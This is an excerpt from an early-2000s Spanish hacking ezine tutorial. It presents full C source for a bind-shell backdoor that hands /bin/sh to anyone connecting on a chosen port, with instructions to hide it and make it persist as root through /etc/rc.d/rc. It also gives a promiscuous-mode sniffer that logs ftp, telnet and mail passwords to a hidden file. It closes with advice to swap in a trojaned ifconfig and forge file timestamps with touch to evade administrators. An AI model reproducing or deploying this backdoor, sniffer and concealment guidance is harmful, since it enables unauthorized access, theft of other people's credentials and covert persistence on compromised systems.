#include <signal.h>
#include <sys/types.h>
```

```
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;
int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *)
&serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0)
exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0);
soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len =
sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len); if (soc_cli
< 0) exit(0); cli_pid = getpid(); server_pid = fork();
if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli);}}
```

---------- **final** ----------

Este programa crea un puerto que tu le digas (lo defines en PORT), y al conectar con ese puerto ejecuta el /bin/sh con privilegios del que ejecuto el programa. Es decir que si lo ejecuto el root tiene privilegios de root, si lo ejecuto pepe tiene privilegios de pepe,etc. Para instalarlo tienes que compilarlo con cc -o file file.c, y luego lo instalas ejecutandolo simplemente con ./file. Luego desde tu casa haces un "telnet maquina 31337" o el que sea y ya estas dentro. Para ejecutar comandos tienes que poner siempre ;, es decir "ls;","who;",etc. y para desconectarte hay que poner "exit;".

NOTA: Al hacer un ps (no es hacer un pis,eh? :D) se vera mientras estes conectado la primera vez que lo corras. Me explico,tu pones ./file para ejecutarlo y al hacer un ps se vera,pero nada mas que desconectes ya no se vera mas,captais? O sea,genial porque el root ni se entera.

Pero que pasa si el root resetea el ordenata? Pues que el programa se cierra, evidentemente. Para ello yo recomiendo copiar el programa ya compilado a /etc/rc.d/init.d/ con un nombre como stoke,o alguno que no suene raro. Luego editais el fichero /etc/rc.d/rc y en mitad del fichero para que no cante mucho le añadis la linea /etc/rc.d/init.d/stoke. Asi si se resetea el ordenata no importa porque arrancara el programa de nuevo con privilegios de root.

6.- Instalando un Sniffer

Un sniffer es un programa que se usa para conseguir mas password de otros sitios a partir de una maquina que ya hayas hackeado y de la que tengas el control. Es decir, una vez que eres root de un ordenata, ¿que te impide instalar un programa que grabe en un log el principio de las sesiones de ftp y telnet (u otros) que se abran desde esa maquina? Por ejemplo, que grabe las 10 primeras lineas de todas las sesiones de unos determinados puertos. Como es logico entre esas diez lineas iran el login y el password, por lo que podras conseguir cuentas de otros ordenadores facilmente, genial,no? :).

Pues bien, eso es lo que hace un sniffer. Me falto decir que el sniffer solo

rula si tienes el ordenador conectado en red a traves de una tarjeta ethernet. Es decir,que si consigues hackear el ordenata de un colega, no le pongas un sniffer porque (a no ser que lo tenga conectado en red,claro) no te servira de nada, igualmente que si lo intentas instalar en tu propia maquina.

Ahora pongo un sniffer para linux, para que lo useis con fines didacticos :). Tienes que definir el fichero de salida, es decir donde guardara los login y lo pass, en la linea #define TCPLOG. Captura los pass de los puertos del ftp, telnet y pop.Para ejecutarlo tienes que dejarlo corriendo en background, en segundo plano. Para ello al ejecutarlo tienes que poner "./file &". Al hacer un ps se vera el sniffer solo hasta que te desconectes,luego ya no se vera ni con ps ni con top.

------- **comienzo** --------

```
#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <netdb.h>

#include <string.h>

#include <linux/if.h>

#include <signal.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>




int openintf(char *);

int read_tcp(int);

int filter(void);

int print_header(void);

int print_data(int, char *);
```

```
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);


struct etherpacket
{
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8192];
}ep;

struct
{
   unsigned long      saddr;
   unsigned long      daddr;
   unsigned short     sport;
   unsigned short     dport;
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;

struct iphdr  *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
```

```
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG ".ttg19"

int openintf(char *d)
{
  int fd;
  struct ifreq ifr;
  int s;
  fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
  if(fd < 0)
  {
    perror("cant get SOCK_PACKET socket");
    exit(0);
  }
  strcpy(ifr.ifr_name, d);
  s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  if(s < 0)
  {
    close(fd);
    perror("cant get flags");
    exit(0);
  }
  ifr.ifr_flags |= IFF_PROMISC;
  s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  if(s < 0) perror("cant set promiscuous mode");
  return fd;
```

```
}

int read_tcp(int s)
{
  int x;
  while(1)
  {
    x=read(s, (struct etherpacket *)&ep, sizeof(ep));
    if(x > 1)
    {
      if(filter()==0) continue;
      x=x-54;
      if(x < 1) continue;
      return x;
    }
  }
}

int filter(void)
{
  int p;
  p=0;
  if(ip->protocol != 6) return 0;
  if(victim.active != 0)
    if(victim.bytes_read > CAPTLEN)
    {
      fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
      clear_victim();
```

```
      return 0;
    }
  if(victim.active != 0)
    if(time(NULL) > (victim.start_time + TIMEOUT))
    {
      fprintf(fp, "\n----- [Timed Out]\n");
      clear_victim();
      return 0;
    }
  if(ntohs(tcp->dest)==21)  p=1; /* ftp */
  if(ntohs(tcp->dest)==23)  p=1; /* telnet */
  if(ntohs(tcp->dest)==110) p=1; /* pop3 */
  if(ntohs(tcp->dest)==109) p=1; /* pop2 */
  if(ntohs(tcp->dest)==143) p=1; /* imap2 */
  if(ntohs(tcp->dest)==513) p=1; /* rlogin */
  if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
  if(victim.active == 0)
    if(p == 1)
      if(tcp->syn == 1)
      {
        victim.saddr=ip->saddr;
        victim.daddr=ip->daddr;
        victim.active=1;
        victim.sport=tcp->source;
        victim.dport=tcp->dest;
        victim.bytes_read=0;
        victim.start_time=time(NULL);
        print_header();
```

```
        }
    if(tcp->dest != victim.dport) return 0;
    if(tcp->source != victim.sport) return 0;
    if(ip->saddr != victim.saddr) return 0;
    if(ip->daddr != victim.daddr) return 0;
    if(tcp->rst == 1)
    {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [RST]\n");
      clear_victim();
      return 0;
    }
    if(tcp->fin == 1)
    {
      victim.active=0;
      alarm(0);
      fprintf(fp, "\n----- [FIN]\n");
      clear_victim();
      return 0;
    }
    return 1;
}



int print_header(void)
{
    fprintf(fp, "\n");
```

```
   fprintf(fp, "%s => ", hostlookup(ip->saddr));
   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}

int print_data(int datalen, char *data)
{
   int i=0;
   int t=0;

   victim.bytes_read=victim.bytes_read+datalen;
   for(i=0;i != datalen;i++)
   {
      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
      if(t > 75) {t=0;fprintf(fp, "\n");}
   }
}



main(int argc, char **argv)
{
   s=openintf("eth0");
   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
   signal(SIGHUP, SIG_IGN);
   signal(SIGINT, cleanup);
   signal(SIGTERM, cleanup);
   signal(SIGKILL, cleanup);
```

```
  signal(SIGQUIT, cleanup);
  if(argc == 2) fp=stdout;
  else fp=fopen(TCPLOG, "at");
  if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
  clear_victim();
  for(;;)
  {
    read_tcp(s);
    if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
    fflush(fp);
  }
}

char *hostlookup(unsigned long int in)
{
  static char blah[1024];
  struct in_addr i;
  struct hostent *he;

  i.s_addr=in;
  he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  if(he == NULL) strcpy(blah, inet_ntoa(i));
  else strcpy(blah, he->h_name);
  return blah;
}

void clear_victim(void)
{
```

```
   victim.saddr=0;
   victim.daddr=0;
   victim.sport=0;
   victim.dport=0;
   victim.active=0;
   victim.bytes_read=0;
   victim.start_time=0;
}

void cleanup(int sig)
{
   fprintf(fp, "Exiting...\n");
   close(s);
   fclose(fp);
   exit(0);
}
```

-------- **final** ---------

Pero en cambio, detectar un sniffer es muy sencillo. Con la orden "ifconfig" y fijandose si aparece la palabra PROMISC se sabe facilmente. Esto lo hace muy vulnerable, y si un root avanzado se da cuenta no tardara en encontrar el fichero de logs del sniffer. Por cierto, esto es importante. Un sniffer captura los login y pass de la peña que accede a otros ordenatas desde la maquina en la que esta instalado,pero junto con el login y pass tambien captura su ip. A eso tb le sumamos que tb pilla los pass y las ips de la gente que accede a la maquina del sniffer,es decir,a si mismas. ¿Pues que pasaria si habeis borrado todas las huellas del syslog,etc. y no borrais vuestra propia info del log del sniffer? Os lo imaginais,¿no? Hay que tener cuidado con eso..no os vaya a dar un disgusto :).

Para resolver lo del PROMISC del ifconfig hay que instalar un troyano. Es decir, un fichero modificado del ifconfig. Se compila y se copia sobreescribiendo el /sbin/ifconfig. Hay varios circulando por la red, sobre todo incluidos dentro de rootkits. En la misma pagina de este ezine (raregazz.islatortuga.com) lo teneis dentro del rootkit para linux en el apartado de bugs/utilidades. Y ya que estamos hablando de troyanos no esta de paso comentar la orden "touch",que sirve para cambiar la fecha de un archivo. Por ejemplo si metes un ifconfig con fecha de ayer el root a lo mejor se mosquea :). Para modificarle la fecha lo mejor es pillarla de otro archivo del mismo directorio. For example: en el di-

rectorio /sbin hay un archivo llamado "halt",cuya linea completa es:

"-rwxr-xr-x 1 root root 6564 Oct 2 1997 /sbin/halt*"

En cambio la del nuevo ifconfig es:

"-rwxr-xr-x 1 root root 23368 May 8 1998 /sbin/ifconfig*"

Como veis,la fecha del ifconfig canta un poco. Pues poneis "touch -r /sbin/halt /sbin/ifconfig" y la nueva linea del ifconfig pasa a a ser:

"-rwxr-xr-x 1 root root 23368 Oct 2 1997 /sbin/ifconfig*"

Es decir, pilla la fecha de /sbin/halt y la copia a /sbin/ifconfig, asi ya no canta tanto que lo has modificado. Despues de haber sobreescrito el ifconfig por un troyano ya no aparecera lo de PROMISC, aunque hayas instalado un sniffer.

Autor : Posidon
www.softdownload.com.ar
info@softdownlaod.com.ar
Año 2001